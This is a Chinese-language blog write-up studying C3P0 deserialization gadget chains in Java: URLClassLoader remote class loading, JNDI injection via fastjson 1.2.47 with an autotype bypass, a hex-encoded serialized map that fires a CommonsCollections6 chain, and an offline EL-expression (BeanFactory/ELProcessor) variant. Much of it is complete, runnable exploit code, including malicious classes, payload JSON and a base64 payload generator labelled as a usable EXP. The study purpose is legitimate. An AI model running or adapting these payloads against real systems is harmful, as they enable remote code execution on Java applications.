C3P0攻击链学习
2024-08-09 18:23:10

什么是 C3P0?

起手可以先把依赖点上

1
2
3
4
5
6
7
<dependencies>
<dependency>
<groupId>com.mchange</groupId>
<artifactId>c3p0</artifactId>
<version>0.9.5.2</version>
</dependency>
</dependencies>

在记录学习 Spring 和 mybatis 时曾经遇到过,那时候的记忆是关于 java 连接池管理的问题,也就是对数据库进行访问生成的各类线程的综合。而 C3P0 则是其中一个开源的 JDBC 连接池,目前默认使用 C3P0 连接池的有 hibernate 框架
一般情况下,作为 java 中对于数据库连接的组件,它或多或少都带着序列化和反序列化的操作,或者常见带有 JNDI 服务

Gadget

常见三处利用

  • URLClassLoader 远程类加载
  • JNDI 注入
  • 利用 HEX 序列化字节加载器进行反序列化

0x01 URLClassLoader 远程类加载

1x01 利用组件关系分析

1
2
3
4
5
6
7
PoolBackedDataSourceBase#readObject ->

ReferenceSerialized#getObject ->

ReferenceableUtils#referenceToObject ->

ObjectFactory#getObjectInstance

我们先看PoolBackedDataSourceBase中的 readObject 触发点
整体上来说是一个 switch 语句,但其实只有一种情况的判断—判断是否为 VERSION,然后对传入的序列化数据进行反序列化,然后调用被强转为IndirectlySerialized的反序列化的结果的 getObject 方法
image.png
this.connectionPoolDataSource赋值为 又被强转为ConnectionPoolDataSource的 o(反序列化对象)
这里为什么要有两次强转?我们跟进到 ConnectionPoolDataSource 接口
image.png
它本身并不继承于 serializable 接口,不能够被反序列化,而IndirectlySerialized算是ConnectionPoolDataSource的一个包装类,专门用来解决序列化和反序列化的需求
那么具体是从哪里实现的呢?
PoolBackedDataSourceBase在序列化 writeObject 的时候写明了
image.png
调用com.mchange.v2.naming.ReferenceIndirector的 indirectForm 方法去包装connectionPoolDataSource
具体的indirectForm方法

1
2
3
4
5
   public IndirectlySerialized indirectForm( Object orig ) throws Exception
{
Reference ref = ((Referenceable) orig).getReference();
return new ReferenceSerialized( ref, name, contextName, environmentProperties );
}

发现其实最终返回的是ReferenceSerialized类型的对象,而ReferenceSerialized实现了IndirectlySerialized接口,所以我们在执行PoolBackedDataSourceBase中的((IndirectlySerialized) o).getObject();代码的时候实际上是在执行ReferenceSerialized.getObject()
再看看ReferenceIndirector 的结构,逻辑就很清晰了

ReferenceIndirector 执行 indirectForm 方法,用来将ConnectionPoolDataSource包装成 ReferenceSerialized,然后具体的调用 getObject

image.png
这也是 gadget 链中如下部分的解释:

1
2
PoolBackedDataSourceBase#readObject ->
ReferenceSerialized#getObject ->

继续看getObject 方法的内容,有熟悉的 JNDI 注入的味道,但是找了一遍 contextName 赋值的地方,除了在 ReferenceIndirector 构造方法中默认设置 null, 没有其他地方找到可控传入的地方,这块 JNDI 利用其实就不太现实了
image.png
那只能看 ReferenceableUtils.referenceToObject
发现 referenceToObject 方法中如果我们传入了一个远程工厂类,他会对远程工厂类进行解析,然后对 URL 进行获取,通过 URLClassLoader 去进行类加载
image.png

1x02 漏洞利用分析

恶意类以及我们待会要调用到 ConnectionPoolDataSource,也就是其包装类 ReferenceSerialized 的 getObject 方法

1
2
3
4
5
6
public class exp {
public exp() throws Exception{
Runtime.getRuntime().exec("calc");
}
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.PrintWriter;
import java.sql.Connection;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;

public class CPDS implements ConnectionPoolDataSource , Referenceable {

@Override
public Reference getReference() throws NamingException {
return new Reference("ExpClass","exp","http://127.0.0.1:8888/");
}
@Override
public PooledConnection getPooledConnection() throws SQLException {
return null;
}

@Override
public PooledConnection getPooledConnection(String user, String password) throws SQLException {
return null;
}

@Override
public PrintWriter getLogWriter() throws SQLException {
return null;
}

@Override
public void setLogWriter(PrintWriter out) throws SQLException {

}

@Override
public void setLoginTimeout(int seconds) throws SQLException {

}

@Override
public int getLoginTimeout() throws SQLException {
return 0;
}

@Override
public Logger getParentLogger() throws SQLFeatureNotSupportedException {
return null;
}


}

然后是最终用来测试类的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import java.io.*;
import java.lang.reflect.Field;

public class Test {
public static void main(String[] args) throws Exception {
PoolBackedDataSourceBase pbds=new PoolBackedDataSourceBase(false);
Class cls= pbds.getClass();
Field field=cls.getDeclaredField("connectionPoolDataSource");
field.setAccessible(true);
field.set(pbds,new CPDS());
serialize(pbds);
unserialize();
}

public static void serialize(PoolBackedDataSourceBase pbds) throws Exception{
FileOutputStream fil=new FileOutputStream(new File("ser.bin"));
ObjectOutputStream oos= new ObjectOutputStream(fil);
oos.writeObject(pbds);
}


public static void unserialize()throws Exception {
FileInputStream fis=new FileInputStream(new File("ser.bin"));
ObjectInputStream objectInputStream=new ObjectInputStream(fis);
objectInputStream.readObject();
}
}

2x01 流程调试分析

断点打在 unserialize 方法的 readObject 处
跟进到 readObject 方法
image.png
此时 readObject 方法中传入的数据流是 PoolBackedDataSourceBase 类 writeObject 方法写入的文件流数据–connectionPoolDataSource 被 ReferenceSerialized 包裹后的数据流
而我们刚才创建的connectionPoolDataSource 类中 reference 对象中包含了我们的恶意类地址
继续跟进 getObject
image.png
然后跟进 referenceToObject 方法
image.png
在获取到 ClassLoader 以及恶意类的 ClassLocation 和 ClassName 之后,调用 forName 方法进行动态类加载,然后对其实例化

0x02 JNDI 注入

JNDI 注入的这条链子依赖于 jackson 或者 fastjson 的反序列化前置才能进行
利用链总结如下

1
2
3
4
5
6
7
8
9
10
11
12
#修改jndiName,用于最后的lookup(JndiName)->

JndiRefConnectionPoolDataSource#setJndiName ->
JndiRefForwardingDataSource#setJndiName

#JNDI调用
JndiRefConnectionPoolDataSource#setLoginTime ->
WrapperConnectionPoolDataSource#setLoginTime ->
JndiRefForwardingDataSource#setLoginTimeout ->
JndiRefForwardingDataSource#inner ->
JndiRefForwardingDataSource#dereference() ->
Context#lookup

1x01 利用链相关组件分析

这里的漏洞开始触发点是由 FastJson 或者 jackson 的 set 方法调用触发的,本质上还是调用 JndiRefConnectionPoolDataSource 下的 setTime 方法,看看其具体内容

2x01 初步设置参数—JndiRefConnectionPoolDataSource

我们先看到最开始接触到的一个类 JndiRefConnectionPoolDataSource
image.png
它的方法近乎全是 set 和 get 方法,我们可以认为,JndiRefConnectionPoolDataSource 类它在 C3P0 中对于 JNDI 功能的实现,是起到一个配置和读取的作用,真正的处理逻辑是不会在这的,一定会调用到其他的相关组件进行逻辑处理。更加形象的说,它主要起到一个入口柜台的作用,用来指引业务该往哪走,这也是为什么我们会选择它作为入口类的原因之一(maybe)
那么这里我们可以直奔漏洞点入口 —setLoginTimeout 方法
image.png
这里会指路到 wcpds 的 setLoginTimeout 方法,在初始化的就已经对 wcpds 变量进行了赋值,它是WrapperConnectionPoolDataSource 的简称,我们跟进到它具体的内容

2x02 JNDI 功能扩展—WrapperConnectionPoolDataSource

对于WrapperConnectionPoolDataSource 来说,他其实算是JndiRefConnectionPoolDataSource 的一个功能扩展类,算是一个二级中转站,也是还没有到具体的逻辑调用,直接跟进即可
image.png
这里有两个方法的调用,我们先看 getNestedDataSource
image.png
在我们没有设置任何参数的情况下它的默认设置是获取到 JndiRefForwardingDataSource 类

2x03 具体功能—JndiRefForwardingDataSource

刚才获取到之后直接跟进即可
又是两层方法调用,这里我们先跟进到 inner 方法
image.png
在 inner 方法中有一个 dereference 方法,其实在 JNDI 中 reference 就是指定对应工厂类的东西,这里调用 dereference 就是在获取指定的 datasource 了
image.png
跟进,发现这里出现了经典的 jndi 注入漏洞的样式,initialContexct 的 lookup 方法
image.png
这里 lookup 方法似乎可控,但是我们并没有在 JndiRefForwardingDataSource 找到具体的定义或者赋值的操作,回想我们最开始对于 JndiRefConnectionPoolDataSource 的描述,它是 JNDI 功能配置和获取的一个入口,我们能不能从它身上找到答案呢?
答案是可以的,但是我们并不能确定此时设置的 JDNIName 能够传到JndiRefForwardingDataSource 中
image.png
这里的 jrfds 是 JndiRefDataSourceBase 类,它是JndiRefForwardingDataSource 的父类,那一切都好说了,我们可以通过 JndiRefConnectionPoolDataSource 的 setJndiName 方法控制 JndiName,并且 lookup 入口也已确立,接下来就是初步的漏洞利用了
image.png

1x02 C3P0-JNDI 利用

开头讲过,要想利用 JNDI 这条链就必须通过 fastjson 或者 jackson 来进行触发,不仅仅只是因为它的触发点是 setLoginTimeout,我们还需要调用 setJndiName 去控制最后 lookup 的参数
先把 fastjson 或者 jackson 的依赖打上
这里我的 fastsjson 版本是 1.2.47 版本,所以打的 payload 需要通过 Class 类加载先把JndiRefConnectionPoolDataSource加载缓存 mapping 中绕过 checkautotype 的检测

1
2
3
4
5
6
7
8
9
10
  <dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.47</version>
</dependency>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>

先拿 fastjson 试试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
package JNDI;

import com.alibaba.fastjson.JSON;

import javax.naming.InitialContext;

public class POC {
public static void main(String[] args) throws Exception{
String payload="{\"a\":" +
"{\"@type\": \"java.lang.Class\",\"val\": \"com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource\"}," +
"\"stoocea\":" +
"{\"@type\": \"com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource\"," +
"\"JndiName\": \"ldap://127.0.0.1:10389/cn=TestLdap,dc=example,dc=com\"," +
"\"LoginTimeout\": 0}" +
"}";

JSON.parseObject(payload);
}
}

image.png
jackson 由于我环境问题尝试不出来,这里就不做演示了

0x03 利用 HEX 序列化字节加载器进行反序列化攻击

1x01 初步入口—WrapperConnectionPoolDataSource

1
2
3
4
5
6
7
8
9
10
WrapperConnectionPoolDataSource()#init()#setUpPropertyListeners()
//这个PropertyListener的作用在于,他会在我们对WrapperConnectionPoolDataSourceBase中属性进行赋值时,先行调用,然后

WrapperConnectionPoolDataSource#setUserOverridesString()
WrapperConnectionPoolDataSource#setUpPropertyListeners()
C3P0ImplUtils#parseUserOverridesAsString()
SerializableUtils#fromByteArray()#deserializeFromByteArray()
readObject()


在我们刚才遇到的 WrapperConnectionPoolDataSource 中,其实他本身也隐藏了一道利用链,这条链的入口点在它的构造方法中
image.png
前面的调用父类的构造方法属于WrapperConnectionPoolDataSource 的配置项,功能点较少,大多数为赋值和定义的操作
setUpPropertyListeners 方法我们需要具体跟进
image.png
image.png
他这里内容很奇怪,只进行了一次类的定义,不会进入其具体内容。我们通过它的名称多少能够猜出一点意思,listener 监听,和我们在 Tomcat 中的 listener 很想,也是在调用某一个属性或者方法时先行执行,再去执行后面的内容。这里的PropertyListeners 也是这个作用,当我们对 UserOverridesAsString 或者connectionTesterClassName 进行赋值操作时,会直接调到它的逻辑中,这为我们之后漏洞触发做了铺垫
在 trycatch 块中调用了C3P0ImplUtils.parseUserOverridesAsString方法,用来获取 userOverrides,我们跟进其具体内容

1x02 userOverridesString 的解析—C3P0ImplUtils

它会首先判断我们的传入的 userString 是否为空,然后才会去走入具体的内容,否则就是直接 return 出去
image.png
userString 是如何传入的?我们倒退回去看看–>调用方法this.getUserOverridesAsString()来作为我们的 userString,但是这并不是它具体的定义内容,我们还是需要调用setUserOverridesAsString()方法来对其赋值
image.png
可见其实这里我们还是需要 fastjson 或者 jackson 的支持才能保证先实例化WrapperConnectionPoolDataSource,调用完 set 方法再触发构造方法

1
2
3
4
5
6
if (userOverridesAsString != null)
{
String hexAscii = userOverridesAsString.substring(HASM_HEADER.length() + 1, userOverridesAsString.length() - 1);
byte[] serBytes = ByteUtils.fromHexAscii( hexAscii );
return Collections.unmodifiableMap( (Map) SerializableUtils.fromByteArray( serBytes ) );
}

这里假设我们满足 if (userOverridesAsString != null)的条件,进入其具体内容,它会首先对我们的 userString 进行一个 substring 的操作,这里截取的是从HASM_HEADER字符串过后的第一个字符,到倒数第二个字符的所有字符作为最终的返回结果,HASM_HEADER 字符串默认初始如下
image.png
然后调用ByteUtils.fromHexAscii,从 16 进制字符转为 ascii 字符,存入 byte 数组作为字节码,然后调用fromByteArray( serBytes )
调用到deserializeFromByteArray( bytes )
image.png
跟进发现最终调用原生反序列化,那么这里就存在一个入口点
image.png
整理一下思绪,其实现在最主要解决的问题是我们的 payload 怎么放?前面要放HASM_HEADER ,最后一个字符要被截取掉,所以在最后又必须填充一个字符串,中间存放我们的 16 进制字节码,以此来构造我们最终的 payload–userString
这里我们可以选择直接在 java 中完成恶意类字节码的 16 进制转化,也可以用其他的脚本

1x03 POC

具体实现通过 readObject 去触发 CC6 这条链子即可
poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
package HEXPOC;

import HEXPOC.CC6;
import com.alibaba.fastjson.JSON;

public class POC {
public static void main(String[] args) throws Exception{
String payload = "{" +
"\"a\":{" +
"\"@type\":\"java.lang.Class\"," +
"\"val\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"" +
"}," +
"\"b\":{" +
"\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"," +
"\"userOverridesAsString\":\"HexAsciiSerializedMap:"+ new CC6().GetserializeHEXString() + ";\"," +
"}" +
"}";
JSON.parseObject(payload);

}
}

CC6 16进制序列化数据获得:
是 CC6 生成加上序列化之后转成 byte 数组,再调用BigInteger 进行 16 进制转化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
package HEXPOC;

import java.math.BigInteger;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC6 {
public String GetserializeHEXString() throws Exception {
//======================runtime的加载
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object,Object> map=new HashMap<>();
/// 先不传入chainedTransformer,之后等hashmap的put方法执行完毕之后再存入,而这里存入ConstantTransformer,是因为后续hashcode的put方法触发链子的时候,最终调用transform方法不会有其他的代码执行影响流程
Map<Object,Object> lazymap = LazyMap.decorate(map,new ConstantTransformer(1));
//==========================================================================


//===========================初始化 TiedMapEntry以及hashmap
TiedMapEntry tiedMapeEntry=new TiedMapEntry(lazymap,"aaa");

HashMap<Object,Object> map2= new HashMap<>();
map2.put(tiedMapeEntry,"bbb");
lazymap.remove("aaa");


//========================================反射写入chainedTransfomer
Class c=LazyMap.class;
Field factoryField=c.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazymap,chainedTransformer);

ByteArrayOutputStream bao = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bao);
oos.writeObject(map2);
byte[] temp=bao.toByteArray();
BigInteger bigInt = new BigInteger(1, temp);
String hexString = bigInt.toString(16);
return hexString;
}
}

这里最后调试的时候我发现自己之前有一段思路是错的,其实调用链并不是这个,fastjson 会首先实例化一个空WrapperConnectionPoolDataSource对象,然后再去调它的 setuserOverridesString时触发后续漏洞,所以关于它的实例化其实并不会去触发漏洞
image.png

但我相信上述流程也大概了解了最终的触发点,以及所需要的必要条件,现在只是回到正路

1x04 漏洞流程解析

接下来才是真正的反序列化过程,fastjson 在实例化完成之后会调用其 set 方法进行赋值
我们跟进到这个过程,成功来到setUserOverridesAsString
image.png
它首先会判断我们当前的 userOverridesAsString 是否与默认的 String 相同,默认是 null,我们肯定不是空,所以这里可以跟进,来到vcs.fireVetoableChange,但并不是直接就进入fireVetoableChange 的内容,它会跟进到wrapper 中的 setUpProperyListeners 中(原理在最开始的链子图中)

image.png
首先获取参数名以及具体的值—我们传入的 UserOverString
由于这个方法并不是单单只处理userOverridesAsString 这一个参数,所以他会先判断是那种情况,然后来到 String 的处理逻辑,发现就是我们最终的C3P0ImplUtils.parseUserOverridesAsString
下面的跟进就和上面功能分析时一样了
image.png
image.png
image.png

0x04 C3P0 不出网利用

不仅不出网,而且还无 fastjon 和 jackson 依赖
其实上述三个方法中,如果我们要再利用,就只存在 URLClassLoader 的可能了,JNDI 和 HEX 序列化字节码编码器呢都需要 fastjson 或者 jackson 的来触发
假如说我们还是走老路,选定 URLClassLoader 继续打,那我们最终是通过 reference 类指定的远程地址去加载工厂类的,但是现在条件是不出网,那我们有没有可能通过本地的工厂类继续打呢?回想之前 JNDI 高版本绕过,我们也是因为高版本将远程 codebase 给禁止了,所以不能继续打远程工程恶意类而选择的其他路,这条路是否也能够用到我们本次 C3P0 的绕过呢?
答案肯定是可以的,所以我们这次尝试 EL 表达式绕过的方法来打 C3P0 的不出网利用

1x01 EL 表达式利用绕过

组件分析就不分析了,都是之前师傅们学习过的东西,这里直接看如何利用的
先把依赖打上(可能不需要这么多,但我当时为了不麻烦就相关全打上了)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-core</artifactId>
<version>8.5.71</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>8.5.0</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.apache.el/com.springsource.org.apache.el -->
<dependency>
<groupId>org.apache.el</groupId>
<artifactId>com.springsource.org.apache.el</artifactId>
<version>7.0.26</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.apache.tomcat/tomcat-jasper-el -->
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-jasper-el</artifactId>
<version>8.5.50</version>
</dependency>


<!-- https://mvnrepository.com/artifact/javax.el/el-api -->
<dependency>
<groupId>javax.el</groupId>
<artifactId>el-api</artifactId>
<version>2.2</version>
</dependency>

然后就是直接上 POC 了,只需要把 reference 中的工厂指定为 beanFactory 即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
package HighbyPass;

import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.naming.StringRefAddr;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.PrintWriter;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;
import org.apache.naming.ResourceRef;
public class CPDS implements ConnectionPoolDataSource , Referenceable {

@Override
public Reference getReference() throws NamingException {
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "x=eval"));
ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance()" +
".getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])']" +
"(['calc']).start()\")"));
return ref;
}
@Override
public PooledConnection getPooledConnection() throws SQLException {
return null;
}

@Override
public PooledConnection getPooledConnection(String user, String password) throws SQLException {
return null;
}

@Override
public PrintWriter getLogWriter() throws SQLException {
return null;
}

@Override
public void setLogWriter(PrintWriter out) throws SQLException {

}

@Override
public void setLoginTimeout(int seconds) throws SQLException {

}

@Override
public int getLoginTimeout() throws SQLException {
return 0;
}

@Override
public Logger getParentLogger() throws SQLFeatureNotSupportedException {
return null;
}


}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
package HighbyPass;

import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import java.io.*;
import java.lang.reflect.Field;
import HighbyPass.CPDS;
public class test {
public static void main(String[] args) throws Exception {
PoolBackedDataSourceBase pbds=new PoolBackedDataSourceBase(false);
Class cls= pbds.getClass();
Field field=cls.getDeclaredField("connectionPoolDataSource");
field.setAccessible(true);
field.set(pbds,new CPDS());
serialize(pbds);
unserialize();
}

public static void serialize(PoolBackedDataSourceBase pbds) throws Exception{
FileOutputStream fil=new FileOutputStream(new File("ser.bin"));
ObjectOutputStream oos= new ObjectOutputStream(fil);
oos.writeObject(pbds);
}


public static void unserialize()throws Exception {
FileInputStream fis=new FileInputStream(new File("ser.bin"));
ObjectInputStream objectInputStream=new ObjectInputStream(fis);
objectInputStream.readObject();
}
}

可利用 EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
package HighbyPass;

import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
public class POCandEXP {
public static void main(String[] args) throws Exception {
PoolBackedDataSourceBase pbds=new PoolBackedDataSourceBase(false);
Class cls= pbds.getClass();
Field field=cls.getDeclaredField("connectionPoolDataSource");
field.setAccessible(true);
field.set(pbds,new CPDS());
serialize(pbds);
}


//可利用生成payload
public static String serialize(PoolBackedDataSourceBase pbds) throws Exception{
ByteArrayOutputStream bao = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bao);
oos.writeObject(pbds);
byte[] temp=bao.toByteArray();
Base64.Encoder encoder=Base64.getEncoder();
String payload=encoder.encodeToString(temp);
System.out.println(payload);
return payload;
}
}